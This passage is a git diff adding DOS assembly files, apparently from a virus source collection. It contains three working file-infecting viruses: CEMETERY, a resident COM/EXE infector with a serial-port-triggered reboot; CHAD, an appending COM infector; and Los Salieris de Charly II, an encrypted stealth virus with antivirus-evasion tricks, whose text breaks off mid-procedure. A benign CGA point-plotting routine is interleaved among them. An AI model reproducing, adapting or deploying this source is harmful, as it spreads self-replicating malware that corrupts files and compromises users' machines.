offset 100h for + ; com-file + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/CEMETARY (41).ASM b/c/CEMETARY (41).ASM new file mode 100755 index 0000000..93242a0 --- /dev/null +++ b/c/CEMETARY (41).ASM @@ -0,0 +1,737 @@ + +PAGE 60,132 + +; +; +; CEMETERY +; +; Created: 4-Mar-91 +; +; + +data_1e equ 4Ch ; (0000:004C=31h) +data_2e equ 4Eh ; (0000:004E=70h) +data_3e equ 70h ; (0000:0070=0FF33h) +data_4e equ 72h ; (0000:0072=0F000h) +data_5e equ 84h ; (0000:0084=0E3h) +data_6e equ 86h ; (0000:0086=161Ah) +data_7e equ 90h ; (0000:0090=8Eh) +data_8e equ 92h ; (0000:0092=1498h) +data_9e equ 102h ; (0000:0102=0CC00h) +data_10e equ 106h ; (0000:0106=326h) +data_11e equ 450h ; (0000:0450=184Fh) +data_12e equ 46Ch ; (0000:046C=0C4BCh) +data_13e equ 46Eh ; (0000:046E=10h) +data_14e equ 47Bh ; (0000:047B=0) +data_15e equ 0 ; (0326:0000=6A7h) +data_16e equ 2 ; (0326:0002=70h) +data_17e equ 0 ; (0687:0000=81h) +data_18e equ 1 ; (0688:0001=0FF17h) +data_19e equ 2 ; (06E3:0002=2342h) +data_20e equ 6 ; (06E3:0006=2344h) +data_46e equ 0FBF0h ; (701E:FBF0=0) +data_47e equ 0FBF2h ; (701E:FBF2=0) +data_48e equ 0FC10h ; (701E:FC10=0) +data_49e equ 0FC12h ; (701E:FC12=0) +data_50e equ 0FC14h ; (701E:FC14=0) +data_51e equ 0FC1Eh ; (701E:FC1E=0) +data_52e equ 0FC20h ; (701E:FC20=0) +data_53e equ 0FC26h ; (701E:FC26=0) +data_54e equ 0FC28h ; (701E:FC28=0) + +code_seg_a segment + assume cs:code_seg_a, ds:code_seg_a + + + org 100h + +cemetery proc far + +start: +data_21 dw 0CE9h +data_22 dw 0C304h + db 23 dup (0C3h) + db 'CEMETERY' +data_24 dw 0C3C3h +data_25 dw 0C3C3h +data_26 dw 0 +data_27 dw 0 +data_28 dw 0 +data_29 dw 0 +data_30 dw 0 +data_31 dd 00000h +data_32 dw 0 +data_33 dw 0 +data_34 dd 00000h +data_35 dw 0 +data_36 dw 0 + db 68h, 0E8h, 55h, 3, 90h, 3Dh + db 4Dh, 4Bh, 75h, 9, 55h, 8Bh + db 0ECh, 83h, 66h, 6, 0FEh, 5Dh + db 0CFh, 80h, 0FCh, 4Bh, 74h, 12h + db 3Dh, 0, 3Dh, 74h, 0Dh, 3Dh + db 0, 6Ch, 75h, 5, 80h, 0FBh + db 0, 74h, 3 +loc_1: + jmp loc_13 +loc_2: + push es + push ds + push di + push si + push bp + push dx + push cx + push bx + push ax + call sub_6 + call sub_7 + cmp ax,6C00h + jne loc_3 ; Jump if not equal + mov dx,si +loc_3: + mov cx,80h + mov si,dx + +locloop_4: + inc si + mov al,[si] + or al,al ; Zero ? + loopnz locloop_4 ; Loop if zf=0, cx>0 + + sub si,2 + cmp word ptr [si],4D4Fh + je loc_7 ; Jump if equal + cmp word ptr [si],4558h + je loc_6 ; Jump if equal +loc_5: + jmp short loc_12 + db 90h +loc_6: + cmp word ptr [si-2],452Eh + nop + jz loc_8 ; Jump if zero + jmp short loc_5 +loc_7: + cmp word ptr [si-2],432Eh + jne loc_5 ; Jump if not equal + cmp word ptr [si-4],444Eh + jne loc_5 ; Jump if not equal +loc_8: + mov ax,3D02h + call sub_5 + jc loc_12 ; Jump if carry Set + mov bx,ax + mov ax,5700h + call sub_5 + mov cs:data_27,cx ; (701E:0129=0) + mov cs:data_28,dx ; (701E:012B=0) + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + push cs + pop ds + mov dx,103h + mov si,dx + mov cx,18h + mov ah,3Fh ; '?' + call sub_5 + jc loc_10 ; Jump if carry Set + cmp word ptr [si],5A4Dh + jne loc_9 ; Jump if not equal + call sub_1 + jmp short loc_10 +loc_9: + call sub_4 +loc_10: + jc loc_11 ; Jump if carry Set + mov ax,5701h + mov cx,cs:data_27 ; (701E:0129=0) + mov dx,cs:data_28 ; (701E:012B=0) + call sub_5 +loc_11: + mov ah,3Eh ; '>' + call sub_5 +loc_12: + call sub_7 + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es +loc_13: + jmp cs:data_31 ; (701E:0131=0) + +cemetery endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov cx,[si+16h] + add cx,[si+8] + mov ax,10h + mul cx ; dx:ax = reg * ax + add ax,[si+14h] + adc dx,0 + push dx + push ax + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + cmp dx,0 + jne loc_14 ; Jump if not equal + cmp ax,589h + jae loc_14 ; Jump if above or = + pop ax + pop dx + stc ; Set carry flag + ret +loc_14: + mov di,ax + mov bp,dx + pop cx + sub ax,cx + pop cx + sbb dx,cx + cmp word ptr [si+0Ch],0 + je loc_ret_17 ; Jump if equal + cmp dx,0 + jne loc_15 ; Jump if not equal + cmp ax,589h + jne loc_15 ; Jump if not equal + stc ; Set carry flag + ret +loc_15: + mov dx,bp + mov ax,di + push dx + push ax + add ax,589h + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + les di,dword ptr [si+2] ; Load 32 bit ptr + mov cs:data_29,di ; (701E:012D=0) + mov cs:data_30,es ; (701E:012F=0) + mov [si+2],dx + cmp dx,0 + je loc_16 ; Jump if equal + inc ax +loc_16: + mov [si+4],ax + pop ax + pop dx + call sub_2 + sub ax,[si+8] + les di,dword ptr [si+14h] ; Load 32 bit ptr + mov data_24,di ; (701E:0123=0C3C3h) + mov data_25,es ; (701E:0125=0C3C3h) + mov [si+14h],dx + mov [si+16h],ax + mov word ptr data_26,ax ; (701E:0127=0) + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + call sub_3 + jc loc_ret_17 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + mov ah,40h ; '@' + mov dx,si + mov cx,18h + call sub_5 + +loc_ret_17: + ret +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near + mov cx,4 + mov di,ax + and di,0Fh + +locloop_18: + shr dx,1 ; Shift w/zeros fill + rcr ax,1 ; Rotate thru carry + loop locloop_18 ; Loop if cx > 0 + + mov dx,di + ret +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + mov ah,40h ; '@' + mov cx,589h + mov dx,100h + call sub_6 + jmp short loc_22 + db 90h + +; External Entry into Subroutine + +sub_4: + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + cmp ax,589h + jb loc_ret_21 ; Jump if below + cmp ax,0FA00h + jae loc_ret_21 ; Jump if above or = + push ax + cmp byte ptr [si],0E9h + jne loc_19 ; Jump if not equal + sub ax,58Ch + cmp ax,[si+1] + jne loc_19 ; Jump if not equal + pop ax + stc ; Set carry flag + ret +loc_19: + call sub_3 + jnc loc_20 ; Jump if carry=0 + pop ax + ret +loc_20: + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + pop ax + sub ax,3 + mov dx,123h + mov si,dx + mov byte ptr cs:[si],0E9h + mov cs:[si+1],ax + mov ah,40h ; '@' + mov cx,3 + call sub_5 + +loc_ret_21: + ret +sub_3 endp + + +; +; SUBROUTINE +; + +sub_5 proc near +loc_22: + pushf ; Push flags + call cs:data_31 ; (701E:0131=0) + ret +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr ds:data_7e ; (0000:0090=18Eh) Load 32 bit ptr + mov cs:data_32,ax ; (701E:0135=0) + mov cs:data_33,es ; (701E:0137=0) + mov ax,3ABh + mov ds:data_7e,ax ; (0000:0090=18Eh) + mov ds:data_8e,cs ; (0000:0092=1498h) + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_35,ax ; (701E:013D=0) + mov cs:data_36,es ; (701E:013F=0) + les ax,cs:data_34 ; (701E:0139=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr cs:data_32 ; (701E:0135=0) Load 32 bit ptr + mov ds:data_7e,ax ; (0000:0090=18Eh) + mov ds:data_8e,es ; (0000:0092=1498h) + les ax,dword ptr cs:data_35 ; (701E:013D=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_7 endp + + db 0B0h, 3, 0CFh, 50h, 53h, 51h + db 2Eh, 0A3h, 0FEh, 3, 2Eh, 0A1h + db 0F7h, 3, 0A3h, 50h, 4, 2Eh + db 0A1h, 0F5h, 3, 8Ah, 0DCh, 0B4h + db 9, 0B9h, 1, 0, 0CDh, 10h + db 0E8h, 34h, 0, 0E8h, 0B7h, 0 + db 2Eh, 0A1h, 0F7h, 3, 0A3h, 50h + db 4, 0B3h, 7, 0B8h, 7, 9 + db 0B9h, 1, 0, 0CDh, 10h, 2Eh + db 0A1h, 0FEh, 3, 0A3h, 50h, 4 + db 7, 1Fh + db ']_^ZY[X.' + db 0FFh, 2Eh, 0FAh, 3 +data_37 dw 0 +data_38 db 10h +data_39 db 10h +data_40 db 0 +data_41 dw 0 +data_42 dw 0 + db 0, 0, 2Eh, 0A1h, 0F7h, 3 + db 8Bh, 1Eh, 4Ah, 4, 4Bh, 2Eh + db 0F6h, 6, 0F9h, 3, 1, 74h + db 0Ch, 3Ah, 0C3h, 72h, 12h, 2Eh + db 80h, 36h, 0F9h, 3, 1, 0EBh + db 0Ah +loc_23: + cmp al,0 + jg loc_24 ; Jump if > + xor byte ptr cs:data_40,1 ; (701E:03F9=0) +loc_24: + test byte ptr cs:data_40,2 ; (701E:03F9=0) + jz loc_25 ; Jump if zero + cmp ah,18h + jb loc_26 ; Jump if below + xor byte ptr cs:data_40,2 ; (701E:03F9=0) + jmp short loc_26 +loc_25: + cmp ah,0 + jg loc_26 ; Jump if > + xor byte ptr cs:data_40,2 ; (701E:03F9=0) +loc_26: + cmp byte ptr cs:data_37,20h ; (701E:03F5=0) ' ' + je loc_27 ; Jump if equal + db 2Eh +data_44 dw 3E80h + db 0F8h, 3, 0, 74h, 6, 2Eh + db 80h, 36h, 0F9h, 3, 2 +loc_27: + test byte ptr cs:data_40,1 ; (701E:03F9=0) + jz loc_28 ; Jump if zero + inc cs:data_38 ; (701E:03F7=10h) + jmp short loc_29 +loc_28: + dec cs:data_38 ; (701E:03F7=10h) +loc_29: + test byte ptr cs:data_40,2 ; (701E:03F9=0) + jz loc_30 ; Jump if zero + inc cs:data_39 ; (701E:03F8=10h) + jmp short loc_ret_31 +loc_30: + dec cs:data_39 ; (701E:03F8=10h) + +loc_ret_31: + ret + +; +; SUBROUTINE +; + +sub_8 proc near + mov ax,word ptr cs:data_38 ; (701E:03F7=1010h) + mov ds:data_11e,ax ; (0000:0450=184Fh) + mov bh,data_55 ; (0000:0462=0D400h) + mov ah,8 + int 10h ; Video display ah=functn 08h + ; get char al & attrib ah @curs + mov cs:data_37,ax ; (701E:03F5=0) + ret +sub_8 endp + + db 50h, 53h, 51h, 52h, 56h, 57h + db 55h, 1Eh, 6, 33h, 0C0h, 50h + db 1Fh, 81h, 3Eh, 70h, 0, 0AEh + db 3, 74h, 35h, 0A1h, 6Ch, 4 + db 8Bh, 16h, 6Eh, 4, 0B9h, 0FFh + db 0FFh, 0F7h, 0F1h, 3Dh, 10h, 0 + db 75h, 24h, 0FAh, 8Bh, 2Eh, 50h + db 4, 0E8h, 0BEh, 0FFh, 89h, 2Eh + db 50h, 4, 0C4h, 6, 70h, 0 + db 2Eh, 0A3h, 0FAh, 3, 2Eh, 8Ch + db 6, 0FCh, 3, 0C7h, 6, 70h + db 0, 0AEh, 3, 8Ch, 0Eh, 72h + db 0, 0FBh +loc_32: + mov ah,2 + int 14h ; RS-232 dx=com1, ah=func 02h + ; get char al, ah=return status + cmp al,31h ; '1' + je loc_33 ; Jump if equal + jnz loc_34 ; Jump if not zero +loc_33: + int 19h ; Bootstrap loader +loc_34: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret + +; +; SUBROUTINE +; + +sub_9 proc near + mov dx,10h + mul dx ; dx:ax = reg * ax + ret +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + xor di,di ; Zero register + xor bp,bp ; Zero register + ret +sub_10 endp + + db 1Eh, 0E8h, 0, 0 + +; +; SUBROUTINE +; + +sub_11 proc near + mov ax,4B4Dh + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + jc loc_35 ; Jump if carry Set + jmp loc_45 +loc_35: + pop si + push si + mov di,si + xor ax,ax ; Zero register + push ax + pop ds + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_53e[si],ax ; (701E:FC26=0) + mov cs:data_54e[si],es ; (701E:FC28=0) + les bx,dword ptr ds:data_5e ; (0000:0084=6E3h) Load 32 bit ptr + mov cs:data_51e[di],bx ; (701E:FC1E=0) + mov cs:data_52e[di],es ; (701E:FC20=0) + mov ax,ds:data_9e ; (0000:0102=0CC00h) + cmp ax,0F000h + jne loc_43 ; Jump if not equal + mov dl,80h + mov ax,ds:data_10e ; (0000:0106=326h) + cmp ax,0F000h + je loc_36 ; Jump if equal + cmp ah,0C8h + jb loc_43 ; Jump if below + cmp ah,0F4h + jae loc_43 ; Jump if above or = + test al,7Fh + jnz loc_43 ; Jump if not zero + mov ds,ax + cmp word ptr ds:data_15e,0AA55h ; (0326:0000=6A7h) + jne loc_43 ; Jump if not equal + mov dl,ds:data_16e ; (0326:0002=70h) +loc_36: + mov ds,ax + xor dh,dh ; Zero register + mov cl,9 + shl dx,cl ; Shift w/zeros fill + mov cx,dx + xor si,si ; Zero register + +locloop_37: + lodsw ; String [si] to ax + cmp ax,0FA80h + jne loc_38 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7380h + je loc_39 ; Jump if equal + jnz loc_40 ; Jump if not zero +loc_38: + cmp ax,0C2F6h + jne loc_41 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7580h + jne loc_40 ; Jump if not equal +loc_39: + inc si + lodsw ; String [si] to ax + cmp ax,40CDh + je loc_42 ; Jump if equal + sub si,3 +loc_40: + dec si + dec si +loc_41: + dec si + loop locloop_37 ; Loop if cx > 0 + + jmp short loc_43 +loc_42: + sub si,7 + mov cs:data_53e[di],si ; (701E:FC26=0) + mov cs:data_54e[di],ds ; (701E:FC28=0) +loc_43: + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + mov es,bx + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov bx,0FFFFh + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + sub bx,5Ah + nop + jc loc_45 ; Jump if carry Set + mov cx,es + stc ; Set carry flag + adc cx,bx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,59h + stc ; Set carry flag + sbb es:data_19e,bx ; (06E3:0002=2342h) + push es + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:data_18e,8 ; (0688:0001=0FF17h) + call sub_9 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call sub_9 + add ax,ds:data_20e ; (06E3:0006=2344h) + adc dx,0 + sub ax,bx + sbb dx,cx + jc loc_44 ; Jump if carry Set + sub ds:data_20e,ax ; (06E3:0006=2344h) +loc_44: + mov si,di + xor di,di ; Zero register + push cs + pop ds + sub si,413h + mov cx,589h + inc cx + rep movsb ; Rep while cx>0 Mov [si] to es:[di] + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + dec bx + mov ds,bx + mov byte ptr ds:data_17e,5Ah ; (0687:0000=81h) 'Z' + mov dx,142h + xor ax,ax ; Zero register + push ax + pop ds + mov ax,es + sub ax,10h + mov es,ax + cli ; Disable interrupts + mov ds:data_5e,dx ; (0000:0084=6E3h) + mov ds:data_6e,es ; (0000:0086=161Ah) + sti ; Enable interrupts + dec byte ptr ds:data_14e ; (0000:047B=0) +loc_45: + pop si + cmp word ptr cs:data_46e[si],5A4Dh ; (701E:FBF0=0) + jne loc_46 ; Jump if not equal + pop ds + mov ax,cs:data_50e[si] ; (701E:FC14=0) + mov bx,cs:data_49e[si] ; (701E:FC12=0) + push cs + pop cx + sub cx,ax + add cx,bx + push cx + push word ptr cs:data_48e[si] ; (701E:FC10=0) + push ds + pop es + call sub_10 + ret ; Return far +loc_46: + pop ax + mov ax,cs:data_46e[si] ; (701E:FBF0=0) + mov cs:data_21,ax ; (701E:0100=0CE9h) + mov ax,cs:data_47e[si] ; (701E:FBF2=0) + mov cs:data_22,ax ; (701E:0102=0C304h) + mov ax,100h + push ax + push cs + pop ds + push ds + pop es + call sub_10 + ret +sub_11 endp + + +code_seg_a ends + + + + end start diff --git a/c/CGAGRAFA.ASM b/c/CGAGRAFA.ASM new file mode 100755 index 0000000..8bd09a4 --- /dev/null +++ b/c/CGAGRAFA.ASM @@ -0,0 +1,182 @@ +; +; grafix --- cgagrafa.asm +; +; stuff to plot points fast in 8086 assembler (BLEECH!!!) +; +; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet) +; +; Modified 5/29/87 by sss to allow for different memory models +; + + title cgagrafa + +include macros.ah + +sseg +endss + +g_oddoff equ 02000h +g_linsiz equ 80 + +dseg + + ex g_drawbuf, dword + ex g_pixbyte, word + ex g_bitpix, word + ex g_colormask, byte + ex g_cmask_tbl, byte + ex g_hicolormask, byte + ex g_xor, word + ex g_xcliplo, word + ex g_xcliphi, word + ex g_ycliplo, word + ex g_ycliphi, word + +endds + +cseg _cgagrafa + +; plot a point. ax = y; bl = c; cx = x; + +pBegin plot + + les si, g_drawbuf ; get address of buffer + sar ax, 1 ; y /= 2 + jnc p1 ; add in offset if it was odd + add si, g_oddoff +p1: mov dx, g_linsiz ; y * g_linsiz + mul dx + add si, ax ; add to offset + mov ax, cx ; x to AC (ohhh... what symmetry!) + mov dx, 0 + div g_pixbyte + add si, ax ; add quotient to offset (now complete) + and bl, g_colormask ; get cmask + mov bl, g_cmask_tbl[bx] + mov cx, g_bitpix ; only works for bitpix = 0 or 1! + dec cx + shl dx, cl ; dx = mask shift count + mov cx, dx + mov dl, g_hicolormask ; get mask + shr dl, cl ; shift it + and bx, dx ; bx = cmask & mask + mov al, es:[si] ; get image byte + cmp g_xor, 0 ; xor mode? + jne p2 + not dl ; no - (*ptr & ~mask) | (cmask & mask) + and al, dl + or al, bl + jmp p3 +p2: xor al, bl ; yes - *ptr ^ (cmask & mask) +p3: mov es:[si], al ; done! + ret + +pEnd plot + +; +; C interface for point plotter +; +; CGA_point(x, y, c) +; + +pBegin CGA_point + push bp + mov bp, sp + push si + push di + + mov ax, [bp+argbase+2] + mov bx, [bp+argbase+4] + mov cx, [bp+argbase] + call plot + + pop di + pop si + mov sp, bp + pop bp + ret + +pEnd CGA_point + +; +; write for pixels for circle drawing +; +; void CGA_write_pix(x1, y1, x2, y2, c) +; + +pBegin CGA_write_pix + + push bp + mov bp, sp + push si + push di + + mov bx, [bp+argbase+8] ; bx = c (for plot) + mov cx, [bp+argbase] ; cx = x1 + cmp cx, g_xcliplo ; check for clipping + jb w2 + cmp cx, g_xcliphi + ja w2 + + mov ax, [bp+argbase+2] ; ax = y1 + cmp ax, g_ycliplo ; do clipping + jb w1 + cmp ax, g_ycliphi + ja w1 + + push bx ; plot (x1, y1) + push cx + call plot + pop cx + pop bx + +w1: mov ax, [bp+argbase+6] ; ax = y2 + cmp ax, g_ycliplo + jb w2 + cmp ax, g_ycliphi + ja w2 + + push bx ; plot (x1, y2) + call plot + pop bx + +w2: mov cx, [bp+argbase+4] ; cx = x2 + cmp cx, g_xcliplo + jb w4 + cmp cx, g_xcliphi + ja w4 + + mov ax, [bp+argbase+2] ; ax = y1 + cmp ax, g_ycliplo ; do clipping + jb w3 + cmp ax, g_ycliphi + ja w3 + + push bx ; plot (x2, y1) + push cx + call plot + pop cx + pop bx + +w3: mov ax, [bp+argbase+6] ; ax = y2 + cmp ax, g_ycliplo + jb w4 + cmp ax, g_ycliphi + ja w4 + + call plot ; plot (x2, y2) + +w4: pop di + pop si + mov sp, bp + pop bp + ret + +pEnd CGA_write_pix + + df_ CGA_point + df_ CGA_write_pix + +endcs _cgagrafa + +end diff --git a/c/CHAD.ASM b/c/CHAD.ASM new file mode 100755 index 0000000..26c4d40 --- /dev/null +++ b/c/CHAD.ASM @@ -0,0 +1,205 @@ +;*************************************************************************** +;* * +;* CHAD - Research Virus Version 1.01 Date. 11th April 1992. * +;* * +;* Written By : *.****** (*** ******** *******) * +;* * +;* Non-Overwriting Virus To Persuade Users To Get Some Anti-Virus * +;* Software, While Having Some Fun. * +;*************************************************************************** + +CODE Segment + Assume CS:CODE + +progr equ 100h + + org progr + +virus_size EQU vir_end-vir_start +variable_diff EQU variables_start-vir_start + +chad: + call vir_start ;call virus + mov ah,4ch ;return to operating system + int 21h ;thru' dos interrupt 21h + +vir_start: + call next_byte ;call next address + +next_byte: + pop ax ;get next_byte address + sub ax,3 ;get virus address + pop di ;get program start address + push ax ;save virus address + + mov si,ax ;get address of next_byte + mov ax,variable_diff ;add difference + add si,ax ;get variables address + + push si ;save si + mov ax,18 ;counter = variables+18 + add si,ax ;and point to it + mov al,byte [si] ;get byte in counter + add al,1 ;add 1 to it + mov byte [si],al ;and save again + and al,10 ;set counter + cmp al,10 ;has it been copied 10 times? + jnz over_chad ;if not jump over + mov ax,03h ;jump over to message line 1 + add si,ax ;si = message + mov cx,10 ;set counter to print +print_chad: + push cx ;save counter + mov ah,0fh ;get current display page + int 10h ;call bios routine + mov ah,02h ;set cursor position + mov dl,18 ;set column + mov dh,cl ;set line (backwards) + add dh,5 ;place in middle of screen + int 10h ;call bios routine + mov dx,si ;move to dx + mov ah,09h ;print string + int 21h ;call dos + pop cx ;restore counter + add si,42 ;point to next string + loop print_chad ;loop 'till done +print_chad1: + jmp print_chad1 ;infinite loop +over_chad: + pop si ;restore variables address + pop ax ;get variables difference + mov [si],ax ;and save + mov ax,3 ;move to old address + sub di,ax ;start of .com file + mov [si+2],di + mov ax,[si+4] ;get two bytes from old code + mov [di],ax ;and place at start of file + mov al,[si+6] ;get last byte of old code + mov [di+2],al ;and place at start of .COM file + + mov dx,si ;which is copied to destination + mov ax,12 ;add 3 to variables address + add dx,ax ;and save file control block + +;search for first + mov ah,4eh ;search for first + xor cx,cx ;attributes to search + int 21h ;call dos + jnc found_one ;if file found jump over + jmp return_to_prog ;if no file found return to program + +found_one: + mov ah,2fh ;get DTA address into es:bx + int 21h ;call dos + mov ax,22 ;jump over to time + add bx,ax ;and point to it + mov al,es:[bx] ;and place in ax + and al,00000111b ;get seconds only + cmp al,00h ;zero seconds? + jnz infect_program ;if not infect program + mov ah,4fh ;find next file + int 21h ;call dos + cmp ax,12h ;any more files left? + jz return_to_prog ;no! return to program + jmp short found_one ;jump back + +infect_program: + mov dx,8 ;jump to asciiz fcb + add dx,bx ;add to bx + mov ax,3d02h ;open file for writing + int 21h ;call dos + jnc continue ;continue if no error + + mov ah,4fh ;search for next + xor cx,cx ;attributes to search + int 21h ;call dos + jc return_to_prog ;if no file found return to program + jmp short found_one ;jump forward if one found + +continue: + mov bx,ax ;transfer file handle to bx + +;read first three bytes + mov ah,3fh ;read file + mov cx,3 ;number of bytes to read + mov dx,si ;point to buffer to read + add dx,4 + int 21h ;call dos + + mov ax,4202h ;move file pointer to end of file + xor cx,cx ;clear cx + xor dx,dx ;clear dx + int 21h ;call dos + sub ax,3 + mov word [si+08h],ax ;and store + + mov ah,40h ;write to file + mov cx,virus_size ;set counter to write + mov dx,[si] + int 21h ;and write to file + + mov ax,4200h ;move file pointer to start of file + xor cx,cx ;clear cx + xor dx,dx ;clear dx + int 21h ;call dos + + mov ah,40h ;write to file + mov cx,3 ;set counter to write + mov di,si + add di,9 + mov dx,di ;point to buffer to start + int 21h ;and write to file + + mov ax,5701h ;set date & time + xor cx,cx ;time set to zero + xor dx,dx ;and date + int 21h ;and do it + mov ah,3eh ;close file + int 21h ;thru' dos + +return_to_prog: + mov ax,cs ;get code segment + mov es,ax ;reset extra segment + mov ax,0100h ;start of .COM file + mov di,ax ;set destination address + jmp ax ;jump to start of program + +variables_start: + db 0,0 + db 0,0 +old_add: + db 0e8h,0,0 + db 0,0 +jump_code: + db 0e8h,0,0 +fcb: + db "*.COM",0 +counter: + db 0 +date: + db 0 +time: + db 0 +chad1: + db "$" + db "$" + db " Software ..... $" + db " WOT!! No Anti - Virus $" + db "$" + db " $" + db "WW WW$" + db " O O $" + db " / \ $" + db " ______ $" +chad2: + db "CHAD Against Damaging Viruses ... Save Our Software. 1992.$" + +variables_end: + +vir_end: + +CODE ENDS + + END chad + + \ No newline at end of file diff --git a/c/CHARLY2.ASM b/c/CHARLY2.ASM new file mode 100755 index 0000000..8a50857 --- /dev/null +++ b/c/CHARLY2.ASM @@ -0,0 +1,637 @@ +; +; Virus Los Salieris de Charly II (para compilar normal). +; (Stealth with TBAV, VSAFE, DIR, NC and MEM) +; +; Created by: Ramthes Jones'94 (For Those About to Rock!! +; (AHORA SI QUE EL TBAV ME LA CHUPA BIEN!!!) +; +; Fuente de mierda! hasta donde pensas llegar? porque estos gatos +; solo hablan en ingles... grrr! desencriptan pero no traducen. +; +; DANGER!!: What you're gonna read could be bad for your health! +; Please! try to understand... my prgs don't run... +; they creep >:-D he he he! +; +CODE SEGMENT + + .286c + ASSUME CS:CODE, DS:CODE, ES:CODE + ORG 100h + +START: + JMP COMIENZO + NOP + NOP + NOP + INT 20h + +COMIENZO: +ONE LABEL BYTE + INT 03h ; This piece o'shit's for TBAV :( ::: + MOV BX,0107h + PUSH BX + MOV AH,0Dh ; ??? What?????????! + MOV CX,(OFFSET INCRIPT - OFFSET ONE) - (OFFSET DESDE_ACA - OFFSET ONE) + MOV SI,(OFFSET DESDE_ACA - OFFSET ONE) + ADD SI,BX +DESENCRIPTO: + MOV DL,CS:[((NUMERO - OFFSET ONE) + BX)] + XOR [SI],DL + INC SI + XOR AH,AH ; This shit's for F-PROT + INT 02h ; This shit's for TBAV + LOOP DESENCRIPTO + + JMP DESDE_ACA + INT 21h + + MOV AX,4C00h + INT 21h + +DESDE_ACA: + MOV AX,0CACAh + INT 21h + CMP AX,0FEDEh + JE CORRE_PROG_1 + JMP CHUPAMELA +CORRE_PROG_1: + JMP CORRE_PROG + +CHUPAMELA: + PUSH AX + PUSH DX + MOV AX,0FA01h + MOV DX,5945h + INT 21h + POP DX + POP AX + + MOV AH,4Ah + XOR BX,BX + INT 21h + + MOV AH,4Ah + MOV BX,0FFFFh + INT 21h + + SUB BX,101h + MOV AH,4Ah + INT 21h + + MOV AH,48h + MOV BX,100h + INT 21h + + MOV ES,AX + PUSH ES + DEC AX + MOV ES,AX + MOV ES:WORD PTR [0001h], 0008h + POP ES + + PUSH CS + POP DS + + POP SI + PUSH SI + XOR DI,DI + MOV CX,OFFSET TWO - OFFSET ONE + CLD + REP MOVSB + + PUSH ES + POP DS + + MOV AX,3521h + INT 21h + POP SI + PUSH SI + MOV DS:[INT21IP - OFFSET ONE],BX + MOV DS:[INT21CS - OFFSET ONE],ES + + MOV AX,2521h + MOV DX,(OFFSET HOOK_21 - OFFSET ONE) + INT 21h + + MOV AH,04h + INT 1Ah + CMP DX,0526h + JE JODE_2 + CMP DX,1126h + JE JODE_2 + CMP DX,1021h + JE JODE_2 + JMP NO_JODE +JODE_2: + MOV AX,3513h + INT 21h + MOV DS:[INT17IP - OFFSET ONE],BX + MOV DS:[INT17CS - OFFSET ONE],ES + + MOV AX,2513h + MOV DX,(OFFSET HOOK_13 - OFFSET ONE) + INT 21h +NO_JODE: + PUSH CS + PUSH CS + POP DS + POP ES + +CORRE_PROG: + POP BX + + MOV DI,100h + LEA SI,[(NORMAL - OFFSET ONE) + BX] + MOVSW + MOVSB + + PUSH CS + PUSH 0100h + RETF + +HOOK_21 PROC FAR + PUSH DS + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + + CMP AX,0CACAh + JE RESIDE + CMP AH,4Bh + JE INFECTA1 + CMP AH,3Dh + JE INFECT_FAST1 + CMP AH,4Eh + JE NO_NC + CMP AH,4Fh + JE NO_NC + CMP AH, 11h + JE NO_DIR + CMP AH, 12h + JE NO_DIR + JMP FIN + +INFECTA1: JMP INFECTA +INFECT_FAST1: JMP INFECT_FAST +RESIDE: + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + + POPF + POP DS + MOV AX,0FEDEh + IRET + +NO_DIR PROC + POP ES + POP DS + POP 